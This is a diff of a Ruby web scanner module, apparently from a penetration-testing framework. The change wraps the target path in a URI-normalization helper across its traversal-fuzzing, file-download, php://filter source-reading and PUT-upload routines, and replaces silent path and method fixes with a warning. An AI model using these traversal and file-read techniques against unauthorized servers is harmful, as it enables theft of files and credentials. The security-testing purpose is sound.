@@ -106,7 +106,7 @@ def fuzz
106
106
1 . upto ( depth ) do |d |
107
107
file_to_read . each do |f |
108
108
trigger = base * d
109
- p = datastore [ 'PATH' ] + trigger + f
109
+ p = normalize_uri ( datastore [ 'PATH' ] ) + trigger + f
110
110
req = ini_request ( p )
111
111
vprint_status ( "Trying: http://#{ rhost } :#{ rport } #{ p } " )
112
112
res = send_request_cgi ( req , 25 )
@@ -187,15 +187,15 @@ def check(trigger)
187
187
if datastore [ 'TRIGGER' ] . empty?
188
188
# Found trigger using fuzz()
189
189
found = true if trigger
190
- uri = datastore [ 'PATH' ] + trigger
190
+ uri = normalize_uri ( datastore [ 'PATH' ] ) + trigger
191
191
else
192
192
# Manual check. meh.
193
193
if datastore [ 'FILE' ] . empty?
194
194
print_error ( "Must specify a 'FILE' to check manually" )
195
195
return
196
196
end
197
197
198
- uri = datastore [ 'PATH' ] + trigger + datastore [ 'FILE' ]
198
+ uri = normalize_uri ( datastore [ 'PATH' ] ) + trigger + datastore [ 'FILE' ]
199
199
req = ini_request ( uri )
200
200
vprint_status ( "Trying: http://#{ rhost } :#{ rport } #{ uri } " )
201
201
res = send_request_cgi ( req , 25 )
@@ -211,7 +211,7 @@ def check(trigger)
211
211
:port => rport ,
212
212
:vhost => datastore [ 'VHOST' ] ,
213
213
:path => uri ,
214
- :params => datastore [ 'PATH' ] ,
214
+ :params => normalize_uri ( datastore [ 'PATH' ] ) ,
215
215
:pname => trigger ,
216
216
:risk => 3 ,
217
217
:proof => trigger ,
@@ -234,7 +234,7 @@ def lfi_download(trigger, files)
234
234
# Our trigger already puts us in '/', so our filename doesn't need to begin with that
235
235
f = f [ 1 , f . length ] if f =~ /^\/ /
236
236
237
- req = ini_request ( uri = ( datastore [ 'PATH' ] + trigger + f ) . chop )
237
+ req = ini_request ( uri = ( normalize_uri ( datastore [ 'PATH' ] ) + trigger + f ) . chop )
238
238
res = send_request_cgi ( req , 25 )
239
239
240
240
vprint_status ( "#{ res . code . to_s } for http://#{ rhost } :#{ rport } #{ uri } " ) if res
@@ -261,7 +261,7 @@ def php_download(files)
261
261
# Our trigger already puts us in '/', so our filename doesn't need to begin with that
262
262
f = f [ 1 , f . length ] if f =~ /^\/ /
263
263
264
- req = ini_request ( uri = ( datastore [ 'PATH' ] + "php://filter/read=convert.base64-encode/resource=" + f ) . chop )
264
+ req = ini_request ( uri = ( normalize_uri ( datastore [ 'PATH' ] ) + "php://filter/read=convert.base64-encode/resource=" + f ) . chop )
265
265
res = send_request_cgi ( req , 25 )
266
266
267
267
vprint_status ( "#{ res . code . to_s } for http://#{ rhost } :#{ rport } #{ uri } " ) if res
@@ -294,7 +294,7 @@ def is_writable(trigger)
294
294
295
295
# Form the PUT request
296
296
fname = Rex ::Text . rand_text_alpha ( rand ( 5 ) + 5 ) + '.txt'
297
- uri = datastore [ 'PATH' ] + trigger + fname
297
+ uri = normalize_uri ( datastore [ 'PATH' ] ) + trigger + fname
298
298
vprint_status ( "Attempt to upload to: http://#{ rhost } :#{ rport } #{ uri } " )
299
299
req = ini_request ( uri )
300
300
@@ -331,14 +331,10 @@ def load_filelist
331
331
end
332
332
333
333
def run_host ( ip )
334
- # Make sure datastore['PATH] begins with a '/'
335
- if datastore [ 'PATH ' ] !~ /^\/ /
336
- datastore [ 'PATH' ] = '/' + datastore [ 'PATH' ]
334
+ # Warn if it's not a well-formed UPPERCASE method
335
+ if datastore [ 'METHOD ' ] !~ /^[A-Z]+$ /
336
+ print_warning ( "HTTP method #{ datastore [ 'METHOD' ] } is not Apache-compliant. Try only UPPERCASE letters." )
337
337
end
338
-
339
- # Some webservers (ie. Apache) might not like the HTTP method to be lower-case
340
- datastore [ 'METHOD' ] = datastore [ 'METHOD' ] . upcase
341
-
342
338
print_status ( "Running action: #{ action . name } ..." )
343
339
344
340
# And it's..... "SHOW TIME!!"
0 commit comments